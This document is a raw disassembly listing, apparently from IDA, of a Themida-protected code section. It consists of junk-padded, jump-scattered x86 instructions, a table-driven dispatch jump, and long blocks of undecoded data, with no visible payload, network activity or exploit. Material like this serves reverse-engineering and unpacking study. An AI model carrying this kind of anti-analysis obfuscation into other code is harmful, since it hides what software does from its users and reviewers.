loc_59FD3D: ; CODE XREF: Themida_:0059AC5Fj push ebp mov ebp, 4FAF63BBh jmp loc_58E3C0 ; --------------------------------------------------------------------------- dd 0AB1623BDh, 0E9D53106h, 0FFFF071Fh, 81E78957h, 4C7h dd 4BE5600h, 29000000h, 7A42E9F7h, 0A568FFFFh, 8900002Ch dd 4B9240Ch, 1000000h, 895059CAh, 405E0h, 0E8830000h, 24048704h dd 8924248Bh, 74FF2414h, 0D2E90424h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FD97: ; CODE XREF: Themida_:0059AB4Cj push edx jmp loc_597F7F ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5904h, 7781E924h, 895DFFFFh, 4C62E9E9h, 0E952FFFFh dd 0FFFF5B0Fh ; --------------------------------------------------------------------------- loc_59FDB8: ; CODE XREF: Themida_:0059D45Fj xchg ebp, [esp] jmp loc_5A161A ; --------------------------------------------------------------------------- dd 5624048Fh, 4BEh, 24740100h, 37EEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FDD2: ; CODE XREF: Themida_:005A2B54j add esp, 4 add al, 0E9h sub al, 0DCh add al, dh add al, 0DCh push small 4823h jmp loc_595E98 ; --------------------------------------------------------------------------- loc_59FDE9: ; CODE XREF: Themida_:00595FBBj mov ecx, 499A59BBh xor ebp, ecx pop ecx push esi jmp loc_5A019E ; --------------------------------------------------------------------------- db 31h dd 0EC815BD8h, 4, 68243C89h, 82806EBh, 0FFEB37E9h, 24048BFFh dd 0FFB9A5E9h, 5EF301FFh, 15BD889h, 895758C6h, 4C781E7h dd 56000000h, 4BEh, 0E9F72900h, 0FFFF0D08h, 81241C8Bh dd 4C4h, 70E5E900h, 0D225FFFFh, 0C1390243h, 0D0F707E8h dd 5222DC25h, 2258353Eh, 0C3013E50h, 241C8758h, 13A3B95Ch dd 0C131651Eh, 8124048Bh, 4C4h, 8BC82100h, 2FE9240Ch, 89FFFF8Ah dd 0E0892404h, 392E68h, 24148900h, 0FF11F8E9h, 24348BFFh dd 5204C483h, 60E5FBAh, 0EA814A39h, 0FB9F925Dh, 3F213105h dd 0E9D00152h, 70Ah, 0E99CC884h, 0FFFEE4A3h dword_59FEB0 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFEE16h, 0BBE9D8F7h ; DATA XREF: Themida_:0058E10Co dd 1000028h, 0C2835DEAh, 24143304h, 33241431h, 5EE92414h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FEDB: ; CODE XREF: Themida_:00599F2Cj pop eax sub bl, dl pop edx jmp loc_59B528 ; --------------------------------------------------------------------------- dd 1885E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FEEA: ; CODE XREF: Themida_:005A26F3j sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_59D937 ; --------------------------------------------------------------------------- loc_59FEFB: ; CODE XREF: Themida_:005A1E46j push ecx mov ecx, 4 add eax, ecx jmp loc_5916A8 ; --------------------------------------------------------------------------- dd 34FFF428h, 0C4815A24h, 4, 8058E588h, 0EC8142EDh, 4 dd 88240489h, 58E688ECh, 0FF7F35E9h db 0FFh byte_59FF2D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E1BCo dd 1E476824h, 2C890000h, 45606824h, 24890000h, 24048324h dd 42685D04h, 8900000Ch, 51502414h, 42F9BA52h, 8EE96785h dd 0BFFFFF94h, 4B43081Fh, 42DAEA81h, 0FA291AA8h, 42DAC281h dd 82E91AA8h, 8FFFFFE7h, 248B2404h, 241C8924h, 0DB685B54h dd 0E900002Eh, 0FFFF6F0Bh ; --------------------------------------------------------------------------- loc_59FF88: ; CODE XREF: Themida_:0059986Bj mov [esp], edx mov edx, 27FF10DDh inc edx jmp loc_59D119 ; --------------------------------------------------------------------------- dw 0B252h dd 0A712E9ECh, 5058FFFFh, 0A0B35352h, 88D88850h, 397E9C6h dd 6857FFFFh, 4, 3EE9815Fh, 290D3476h, 3EC181F9h, 5F0D3476h dd 31240C33h, 0C33240Ch, 24248B24h, 0E9240489h, 0FFFFDDC3h dd 68241489h, 4, 0E9D6015Ah, 0FFFF905Ch, 4C4835Ah, 0C8BC800h dd 3079E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FFF6: ; CODE XREF: Themida_:0059992Ej xor eax, ebx jmp loc_59F1D4 ; --------------------------------------------------------------------------- loc_59FFFD: ; CODE XREF: Themida_:00593472j push edi push edx mov edx, 740A4E26h mov edi, edx mov edx, [esp] jmp loc_595E8A ; --------------------------------------------------------------------------- dw 0B151h dd 6074E9F4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0016: ; CODE XREF: Themida_:0059B268j add al, ch jmp loc_59CF1A ; --------------------------------------------------------------------------- loc_5A001D: ; CODE XREF: Themida_:00595B0Aj jmp loc_58E353 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF9486h ; --------------------------------------------------------------------------- loc_5A0028: ; CODE XREF: Themida_:0058F4B2j shl ebp, 8 jmp loc_595FBA ; --------------------------------------------------------------------------- dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 0FF6298E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0045: ; CODE XREF: Themida_:00590A09j pop ebp shr ecx, 5 neg ecx jmp loc_59524D ; --------------------------------------------------------------------------- dd 397C6856h, 0E95E689Eh, 0FFFFBD7Ah, 0C05AD488h, 0DE906E4h dd 59000030h, 4C181h, 51560000h, 4B9h, 59CE8900h, 0FCE9F101h dd 89FFFF3Bh, 4C781E7h, 81000000h, 4C7h, 243C8700h, 2530E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0096: ; CODE XREF: Themida_:00592E39j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 3A8E4079h sub eax, edi pop edi push dword ptr [esp] mov edx, [esp] push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59F2C8 ; --------------------------------------------------------------------------- dd 8F04C483h, 8BE92404h, 56FFFF75h, 0EE9E689h, 58FFFF67h dd 0FF0B5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A00E5: ; CODE XREF: Themida_:00592341j pop edx not edx xchg edx, ebx xor ebx, 0F06F093Ah add esi, 5EF8332Eh sub esi, ebx sub esi, 5EF8332Eh jmp loc_59F94A ; --------------------------------------------------------------------------- loc_5A0103: ; CODE XREF: Themida_:0059A6F9j add ebp, 4 add ebp, 4 jmp loc_593BFA ; --------------------------------------------------------------------------- dd 0EDB6853h, 815B7FA3h, 3A60E8C3h, 68525059h, 0EC76C98h dd 0E9h, 0ACE95A00h, 5BFFFFADh, 0B60FC330h, 0E95452C0h dd 0FFFFBE48h, 0E95BDF01h, 0FFFFB456h dword_5A0148 dd 240C8B66h, 0E9E38953h, 0FFFFFEFCh, 0CE0EA9BBh, 5BD80145h ; DATA XREF: Themida_:0058E1C8o dd 1BC9BE56h, 0F001494Ch, 0BB535D5Eh, 32284F15h, 8B49362Dh dd 5D80176h, 768B4936h, 1ED12D5Bh, 0D829294Bh, 287FB951h dd 0E181416Eh, 9E87676h, 0FFD5BBE9h, 0C5815FFFh, 0B69311ACh dd 0AF90E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A019E: ; CODE XREF: Themida_:0059FDF2j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx jmp loc_594BD4 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 8704EE83h, 895C2434h, 9E92404h, 81FFFF4Bh, 4C4h dd 0E9C53100h, 0FFFFEB26h, 81241C8Bh, 4C4h, 0D296E900h dd 0C483FFFFh, 167EE904h, 0F031FFFFh, 0FFF2D5E9h, 88E388FFh dd 88BE9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A01FE: ; CODE XREF: Themida_:005934ABj sub esp, 4 mov [esp], ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5A3020 ; --------------------------------------------------------------------------- loc_5A0216: ; CODE XREF: Themida_:0059BD50j mov esp, [esp] shr ecx, 7 jmp loc_59EEB5 ; --------------------------------------------------------------------------- loc_5A0221: ; CODE XREF: Themida_:005A2C06j and ebx, edx pop edx push ebx not dword ptr [esp] jmp loc_5A2E98 ; --------------------------------------------------------------------------- loc_5A022D: ; CODE XREF: Themida_:0058EAFDj add esp, 4 jmp loc_592C71 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 5F04C483h, 0FF66C331h, 0E36DE930h db 0FEh, 0FFh word_5A0246 dw 8F64h ; DATA XREF: Themida_:0058E120o dd 0E105E902h db 0FEh, 0FFh word_5A024E dw 34FFh ; DATA XREF: Themida_:0058E0E8o dd 4B81E924h, 2C89FFFFh, 65936824h, 24890000h, 24048124h dd 4, 2695E9h, 24048700h, 2E1CE95Ch, 3C89FFFFh, 4BF24h dd 0EA810000h, 223744EFh, 8156FA01h, 4ECh, 223AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0292: ; CODE XREF: Themida_:0059325Ej add esp, 4 push ebp jmp loc_59005F ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 815C2404h, 0F04342F3h, 243C8B70h, 56E468h dd 55BBE900h, 8B59FFFFh, 0C483243Ch, 2DC68104h, 167FA5Bh dd 74DE9DEh, 515BFFFFh, 6C2848B5h, 80590424h, 8028242Ch dd 8A102404h, 0C4832424h, 0FEC4FE04h, 0A5F480CCh, 0FEF8DEE9h dd 80E95FFFh, 9FFFFBEh, 0BB5358C1h, 0E6EC4E49h, 5E9D929h dd 81FFFFA8h, 72774EE9h, 0FFE98315h, 82A5C181h, 0CB89EEE9h dd 27EB8159h, 8134C02Dh, 582770C6h, 9AC68146h, 14E3B39h dd 9AEE81DEh, 814E3B39h, 582770EEh, 0C6815B46h, 4, 8B243487h dd 0C3812424h, 4, 280868h, 24348900h, 831112BEh, 31DE3140h dd 0F7DE31F3h, 56E068DBh, 34890000h, 8DE95324h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A036F: ; CODE XREF: Themida_:0059B164j xor [esp+4], edx push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5A0A60 ; --------------------------------------------------------------------------- dd 0A452E95Ah, 2C33FFFFh, 242C3124h, 5C242C33h, 840FC00Bh dd 2B11h, 521C77FFh, 0A35D82BAh, 536EE967h, 5B54FFFFh dd 4C381h, 17E90000h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A03D3: ; CODE XREF: Themida_:00599F90j add esp, 4 add esi, 1AD3664h add esi, ebx jmp loc_593716 ; --------------------------------------------------------------------------- loc_5A03E3: ; CODE XREF: Themida_:0058F910j push ebx mov ebx, 38671BFFh jmp loc_59AC59 ; --------------------------------------------------------------------------- dw 0EB80h dd 80CB0018h, 516618C3h, 0FF43A0E9h, 4DD60DFFh, 0BD553185h dd 300C47D9h, 0F25CD81h, 0EDD11FFAh, 792BBF57h, 0E5E92037h dd 8BFFFF91h, 0C4812404h, 4, 0FFB12FE9h, 0EA305BFFh, 0F6CAFE59h dd 6EB050D2h, 3058C228h, 0D3E95AD1h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A043F: ; CODE XREF: Themida_:005909FDj mov dh, 0E3h add bh, dh pop dx sub al, bh push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop cx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h word_5A046A dw 0E9ADh ; DATA XREF: Themida_:0058E070o dd 0FFFFED18h, 46CBE56h, 0F7011C34h, 81EF015Eh, 34046CEFh dd 328AE91Ch, 0D501FFFFh, 5124148Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 20BFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A04A2: ; CODE XREF: Themida_:00592599j add eax, 58B03C06h add eax, edx sub eax, 58B03C06h pop edx add eax, 4 push eax push dword ptr [esp+4] jmp loc_5987A6 ; --------------------------------------------------------------------------- dw 148Bh dd 0E2895224h, 4C281h, 7EE90000h, 83FFFEF9h, 348704EEh dd 1DE95C24h, 66FFFF6Ah, 66CCB60Fh, 66609B68h, 66240C89h dd 66C8B60Fh, 60E99C51h, 0BFFFFEDEh, 5B0A00CDh, 3305C781h dd 0F929BA5Ah, 0FEEBA4E9h, 243C87FFh, 0AC5BE95Ch, 8951FFFFh dd 79CFE9E1h, 0C681FFFFh, 482A6351h, 0EE81EE29h, 482A6351h dd 0FF4093E9h, 88D588FFh, 0ABCDE9E8h, 148BFFFFh, 4C48324h dd 0E904C483h, 0FFFF9A1Dh ; --------------------------------------------------------------------------- loc_5A0540: ; CODE XREF: Themida_:0059825Bj pop cx push edx mov dl, 45h and dl, 6Ch push ecx mov cl, 99h xor dl, cl pop ecx push ecx mov cl, 10h push small 72CFh mov [esp], ax mov ah, cl not ah mov cl, ah pop ax jmp loc_597AE9 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5104C483h, 3F0E50B9h, 35E94142h, 89FFFF46h, 52BA2414h dd 315A0300h, 24148BD0h, 0FFEC06E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A058D: ; CODE XREF: Themida_:0059F52Dj pop ecx neg ecx and ecx, 257A2E21h and ecx, 705467E3h add ecx, 386E0AB2h jmp loc_58F140 ; --------------------------------------------------------------------------- loc_5A05A7: ; CODE XREF: Themida_:00595CC2j xor ebx, 49D8A1FBh jmp loc_58E88A ; --------------------------------------------------------------------------- dw 312Dh dd 0E9523F21h, 0FFFF892Ch, 0E904C483h, 0FFFF6D4Eh, 4C781h dd 0B9510000h, 3437319Bh, 66CBC981h, 0E9814174h, 266C719Ah dd 3DB6F181h, 0E1C10E07h, 4C18108h, 0E9F3C409h, 0FFFF01D5h dd 8F4BD55h, 0F5813620h, 51620E92h, 2CE581h, 0C5812101h dd 0A747822h, 505DEA29h, 0B8h, 31D00100h, 28ADE918h, 0D8010000h dd 5329FD2Dh, 241C8B2Dh, 4C481h, 0D8010000h, 8904EC83h dd 79682434h, 5E570262h, 0C104182Dh, 83F02979h, 76E904ECh db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0647: ; CODE XREF: Themida_:0059E112j and ch, 1Ah jmp loc_59B261 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0F4E92404h, 50FFFF61h, 8B172CB8h, 0E9C58912h dd 0FFFFB211h, 5FB6C681h, 0F001FEFFh, 0E9D0015Eh, 0FFFF8919h dd 33241C31h, 3CE9241Ch, 59FFFFE6h, 4EC81h, 1C890000h dd 2474FF24h, 48F5B04h, 24248B24h, 0E9240489h, 0FFFEDCB3h ; --------------------------------------------------------------------------- loc_5A06A0: ; CODE XREF: Themida_:005A0F61j push 5090DCBCh push dword ptr [esp] pop ebp jmp loc_58EACD ; --------------------------------------------------------------------------- loc_5A06AE: ; CODE XREF: Themida_:0059AB2Dj xchg ecx, [esp] pop esp xor dh, 2Fh add al, dh pop edx push small 7D1h mov [esp], dx push eax jmp loc_5996C6 ; --------------------------------------------------------------------------- dw 3433h dd 24343124h, 0FFBD60E9h, 242C89FFh, 533168h, 24048900h dd 6223E668h, 0FF505822h, 78E92404h, 0FFFFFEECh, 0E95F2434h dd 0FFFF0633h, 50E68956h, 235F4AB8h, 0F7BEE964h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0702: ; CODE XREF: Themida_:005A0849j push dword ptr [esp] pop ecx jmp loc_59CECD ; --------------------------------------------------------------------------- db 51h dd 3BCD8B9h, 0C2E951B5h, 83FFFF1Dh, 2C8904ECh, 24A0BD24h dd 0F581016Eh, 61A956EDh, 4BBD5551h, 0E934837Fh, 0FFFF12A4h dd 1AE9E289h, 5000000Fh, 0F480E7B4h, 990E92Ch, 248B0000h dd 241C8924h, 8B2434FFh, 0C4812404h, 4, 4EC81h, 14890000h dd 0F0BFE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A0766: ; CODE XREF: Themida_:0059DA07j push eax mov eax, 5C205D94h not eax sub eax, 64D42237h dec eax add eax, 0EBF2A81Ah xor ebx, eax pop eax jmp loc_59EA8E ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 8B5C240Ch, 0AEE92404h, 5CFFFF21h, 0FF6BABE9h dd 0D3295EFFh, 31A5C381h, 0EB815E6Dh, 75492DDEh, 33C3815Ah dd 0E940E73Dh, 0FFFFA1F3h, 81E28952h, 4C2h, 97D3E900h dd 0FE31FFFFh, 0FE31F731h, 0E9243431h, 272h, 5E2414F7h dd 0FF5A74E9h, 0F9EA81FFh, 5B0ADC72h, 0E9241433h, 1431h dd 226BBBBEh, 32E95233h, 80FFFF24h, 0D1282FE9h, 8B2FC180h dd 0C4812414h, 4, 0E9C88850h, 0FFFF7583h, 0B050DEF6h, 0E9C62856h dd 0FFFF14D8h, 0D091EF81h, 0A2E9FA8Dh db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0823: ; CODE XREF: Themida_:0058F52Dj mov al, 2Fh dec al jmp loc_5A3005 ; --------------------------------------------------------------------------- dd 56E78957h, 752A5DBEh, 0E4A1E928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A083A: ; CODE XREF: Themida_:0059D93Bj mov [esp], ebx mov bl, 68h mov al, 0E6h xor al, bl pop ebx push ecx mov cl, al mov dh, cl jmp loc_5A0702 ; --------------------------------------------------------------------------- dw 0DFF7h dd 226DF781h, 0FA31FFA0h, 81243C8Bh, 4C4h, 8BD00100h, 0C4832414h dd 4C08304h, 31240433h, 0F6E92404h, 81FFFF86h, 4C4h, 5B545300h dd 0FF7D18E9h, 4C481FFh, 52000000h, 0F14360BAh, 0DEC3814Eh dd 6875492Dh, 765Ah, 52243489h, 0BB6E7ABAh, 0DA2DBE74h dd 0D629D756h, 58EE815Ah, 557DFD6Ah, 200350BDh, 86C58113h dd 4D49D778h, 0F74DD5F7h, 0CFC581DDh, 31B067F2h, 0C6815DEEh dd 74ABC1A8h, 0BEE9F329h, 66FFFFFEh, 881EB450h, 0ADA3E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A08E6: ; CODE XREF: Themida_:005962B5j not dword ptr [esp] pop edx jmp loc_59C419 ; --------------------------------------------------------------------------- loc_5A08EF: ; CODE XREF: Themida_:0058EC07j and esi, ebp pop ebp shr esi, 5 sub esp, 4 mov [esp], ebx mov ebx, 7C6D477Eh add ebx, 6911700Ch push edx mov edx, 23C07DAEh and ebx, edx pop edx add ebx, 3CE158C0h not ebx jmp loc_59233E ; --------------------------------------------------------------------------- dd 10242C80h, 28240480h, 0FEFA3CE9h, 0D0E950FFh, 83FFFF8Ah dd 0C32904C4h, 5BDE0158h, 0FF76A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A093D: ; CODE XREF: Themida_:00596DF7j push ebx push ebp mov ebp, 1F1111A3h neg ebp not ebp shr ebp, 1 shr ebp, 5 jmp loc_598DF9 ; --------------------------------------------------------------------------- loc_5A0952: ; CODE XREF: Themida_:0058E35Fj add ebp, ebx mov ebx, [esp] add esp, 4 push ebx mov ebx, 4 sub ebp, ebx jmp loc_59C162 ; --------------------------------------------------------------------------- loc_5A096A: ; CODE XREF: Themida_:00597526j and eax, ebx push dword ptr [esp] mov ebx, [esp] push ebp jmp loc_59179B ; --------------------------------------------------------------------------- dd 76F9E950h, 3487FFFFh, 595E924h, 0DF01FFFFh, 0F781595Bh dd 6E523271h, 315FFB01h, 26EE9D8h, 2C890000h, 565D5424h dd 4BEh, 5EF50100h, 4B850h, 0C5290000h, 0FF3DB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A09B5: ; CODE XREF: Themida_:0059396Ej add ebp, 4 xchg ebp, [esp] pop esp push 3E7h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 push 69CCh mov [esp], edi push dword ptr [esp+4] mov edi, [esp] jmp loc_59CAD5 ; --------------------------------------------------------------------------- byte_5A09E9 db 0ADh, 0E9h, 0FCh ; DATA XREF: Themida_:0058E0C4o dd 5D00000Eh, 4BA52h, 0D5010000h, 2D7BE95Ah, 0C481FFFFh dd 4, 0FFEC5DE9h, 5BD901FFh, 4B850h, 0FAE90000h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0A17: ; CODE XREF: Themida_:0059FCDDj push esi mov esi, 64883F4Ch xor esi, 1DC769B9h dec esi not esi add esi, 0CC707BBFh jmp loc_59CCCA ; --------------------------------------------------------------------------- db 0BEh, 9, 77h dd 0EE811308h, 820644Ch, 0EF4CE953h, 3433FFFEh, 24343124h dd 0FF50D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0A4D: ; CODE XREF: Themida_:00597DE9j sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0A60: ; CODE XREF: Themida_:005A039Bj pop esi jmp loc_5A315A ; --------------------------------------------------------------------------- dw 0D601h dd 2C6815Ah, 81000000h, 4ECh, 24348900h, 42474FFh, 0FF15D5E9h dd 4C683FFh, 0FFDC30E9h, 0D0E95BFFh, 81FFFFCAh, 4C2h, 0EFFE900h dd 0F7890000h, 8124348Bh, 4C4h, 4EC8100h, 89000000h, 54B9240Ch dd 8174B720h, 907F0EEFh, 0E9CF0148h, 0FFFFD257h ; --------------------------------------------------------------------------- loc_5A0AC0: ; CODE XREF: Themida_:0058FC63j sub ebp, 1 push esi mov esi, 1 sub ebp, esi jmp loc_59618F ; --------------------------------------------------------------------------- db 0F7h dd 4E8C1D8h, 17AD9C35h, 20A7E97Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0AE2: ; CODE XREF: Themida_:0059BB47j or dl, 61h add dl, 98h sub ah, dl pop edx dec ah shr ah, 4 jmp loc_5A11FE ; --------------------------------------------------------------------------- db 66h, 0BEh, 64h dd 0F10166FBh, 2D665E66h, 29660186h, 860566C8h, 2434FF01h dd 0FF1E84E9h, 0E9C831FFh, 0FFFEF00Ah dword_5A0B18 dd 535166ACh, 18E9F6B7h, 81FFFFFCh, 76601FEFh, 0CDEDE922h ; DATA XREF: Themida_:0058E2F8o dd 8159FFFFh, 5C0736C2h, 0E3C28125h, 5E59BA77h, 2474FF52h dd 48F5A04h, 0E8C15C24h, 0D985E90Ah, 0BA52FFFFh, 242A0CA9h dd 34FFD789h, 0C4835A24h, 59C78104h, 1F53A38h, 8D89E9FBh dd 168FFFFh, 8900004Eh, 5D54242Ch, 81E38953h, 4C3h, 70CFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0B82: ; CODE XREF: Themida_:00592876j sub esi, 2AD6566Ch add esi, edi push ebp mov ebp, 66DE7309h or ebp, 176B36E2h jmp loc_58E4E4 ; --------------------------------------------------------------------------- db 89h dd 7EE92414h, 58FFFF52h, 3FFC181h, 0C1E9B9E6h, 89000009h dd 4832424h, 0E95B0424h, 4EAh, 0DEE9FA01h db 0E2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A0BC3: ; CODE XREF: Themida_:0059FCF0j push esi jmp loc_592779 ; --------------------------------------------------------------------------- loc_5A0BC9: ; CODE XREF: Themida_:00593FFBj add ebp, 4 xchg ebp, [esp] jmp loc_59F6A3 ; --------------------------------------------------------------------------- dd 0D779E95Bh, 0C781FFFEh, 4, 0FEF8F6E9h, 1C895CFFh, 198DBB24h dd 0C0E94D83h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0BF3: ; CODE XREF: Themida_:0059D659j mov ebp, esp jmp loc_59B9D1 ; --------------------------------------------------------------------------- dw 0E0C1h dd 48E0D105h, 0E903E0C1h, 0FFFF5C61h, 83241C8Bh, 1B6804C4h dd 89000045h, 0E9522434h, 0FFFFBDECh, 533DE959h, 0F9B6FFFFh dd 8016CE80h, 17E9E5F6h, 87FFFEF6h, 0EEE9242Ch, 87FFFF70h dd 0E9422414h, 0FFFEF668h ; --------------------------------------------------------------------------- loc_5A0C40: ; CODE XREF: Themida_:00592C90j mov [esp], edx mov dl, 0D8h push bx mov bh, 0E1h and dl, bh pop bx add dl, 5Fh jmp loc_597065 ; --------------------------------------------------------------------------- db 59h, 57h, 89h dd 4C781E7h, 55000000h, 0AA4E2DBDh, 0CBF58138h, 0E9242505h dd 1DBAh, 261E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0C76: ; CODE XREF: Themida_:0059F71Bj mov ecx, esp add ecx, 4 jmp loc_593F70 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 0E924248Bh, 0FFFED6BBh, 5DF5B42Dh dd 8E0C123h, 0E908E0C1h, 0FFFF41AFh ; --------------------------------------------------------------------------- loc_5A0CA8: ; CODE XREF: Themida_:0059E89Ej pop ebp jmp loc_5A2D67 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF4B31h ; --------------------------------------------------------------------------- loc_5A0CB4: ; CODE XREF: Themida_:00598C46j xor [esp], ebx xor ebx, [esp] jmp loc_59F6E9 ; --------------------------------------------------------------------------- loc_5A0CBF: ; CODE XREF: Themida_:0058EB79j mov ebx, esp push eax jmp loc_59E91D ; --------------------------------------------------------------------------- loc_5A0CC7: ; CODE XREF: Themida_:0059B129j add esp, 4 sub ebp, 5A123CA0h add ebp, edi add ebp, 5A123CA0h mov edi, [esp] add esp, 4 add ebp, 2 xchg ebp, [esp] jmp loc_5926B9 ; --------------------------------------------------------------------------- loc_5A0CF2: ; CODE XREF: Themida_:0059D3E1j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_593D45 ; --------------------------------------------------------------------------- byte_5A0D09 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:0058E208o dd 0E95E5456h, 0FFFF2B94h, 0E9240C89h, 0FFFED637h, 68h dd 24342800h, 0FF0890E9h db 0FFh byte_5A0D29 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058E2CCo dd 8B2434FFh, 0C483240Ch, 0F521E904h, 0EF81FFFEh, 89352089h dd 45E9FE29h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0D47: ; CODE XREF: Themida_:00599E37j add esi, edi pop edi jmp loc_58F16A ; --------------------------------------------------------------------------- db 81h dd 1D62E1CBh, 10F3817Bh, 0E98127F5h, 0FFFEE6F7h, 0E9241431h dd 0FFFF39DBh, 614329B9h, 5E1C12Ch, 5E3AE981h, 0CB0130C1h dd 52C38159h, 15CBA1Ah, 52EB81EBh, 815CBA1Ah, 6706E6EBh dd 1C335D5Bh, 670EE924h, 5166FFFFh, 0D5B5E99Ch, 4966FFFEh dd 1C18166h, 0E9566600h, 0FFFFFD49h ; --------------------------------------------------------------------------- loc_5A0DAC: ; CODE XREF: Themida_:005999CBj pop edi jmp loc_59E374 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 67EFB951h, 24E94AC2h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0DC3: ; CODE XREF: Themida_:005930DBj push 79A1h mov [esp], edx mov edx, 540569BCh add edx, 0FFFFFFFFh inc edx jmp loc_5962B4 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFFE3Eh, 0C905D0F7h, 0C12AD740h, 0A02506E8h dd 2D780D73h, 0C107Ch, 8158C701h, 4C7h, 243C8700h, 459AE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0E0A: ; CODE XREF: Themida_:00599FC0j mov edx, 40582262h push ecx jmp loc_590644 ; --------------------------------------------------------------------------- loc_5A0E15: ; CODE XREF: Themida_:005909E8j push esp pop ecx push 382Fh mov [esp], esi jmp loc_599F7A ; --------------------------------------------------------------------------- dd 0E904C783h, 0FFFFF6D9h ; --------------------------------------------------------------------------- loc_5A0E2C: ; CODE XREF: Themida_:0058EA50j add ebx, eax add ebx, 75346506h jmp loc_596C03 ; --------------------------------------------------------------------------- loc_5A0E39: ; CODE XREF: Themida_:0059F465j add ebp, edi jmp loc_591C48 ; --------------------------------------------------------------------------- dd 0C8B70F5Ch, 30E268h, 0FEC6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0E4E: ; CODE XREF: Themida_:00597655j push 1661h jmp loc_59E986 ; --------------------------------------------------------------------------- dd 0EC835250h, 481EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0E62: ; CODE XREF: Themida_:0059C3A4j mov ebx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 pop dword ptr [edi+24h] push eax jmp loc_592D41 ; --------------------------------------------------------------------------- loc_5A0E7A: ; CODE XREF: Themida_:0059AC2Ej and ecx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_59D9AE ; --------------------------------------------------------------------------- loc_5A0E96: ; CODE XREF: Themida_:00598672j not esi xchg esi, ecx sub ecx, 0B1A6F7F4h add ebp, ecx pop ecx push ecx mov ecx, 4 add ebp, 44F60B63h add ebp, ecx sub ebp, 44F60B63h pop ecx xchg ebp, [esp] mov esp, [esp] add [esp], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0EC7: ; CODE XREF: Themida_:00595BE4j xor edx, [esp] mov esp, [esp] xchg ebx, [esp] mov esp, [esp] div cx push 1C4Ah mov [esp], ebp push esp push dword ptr [esp] pop ebp jmp loc_59CB8C ; 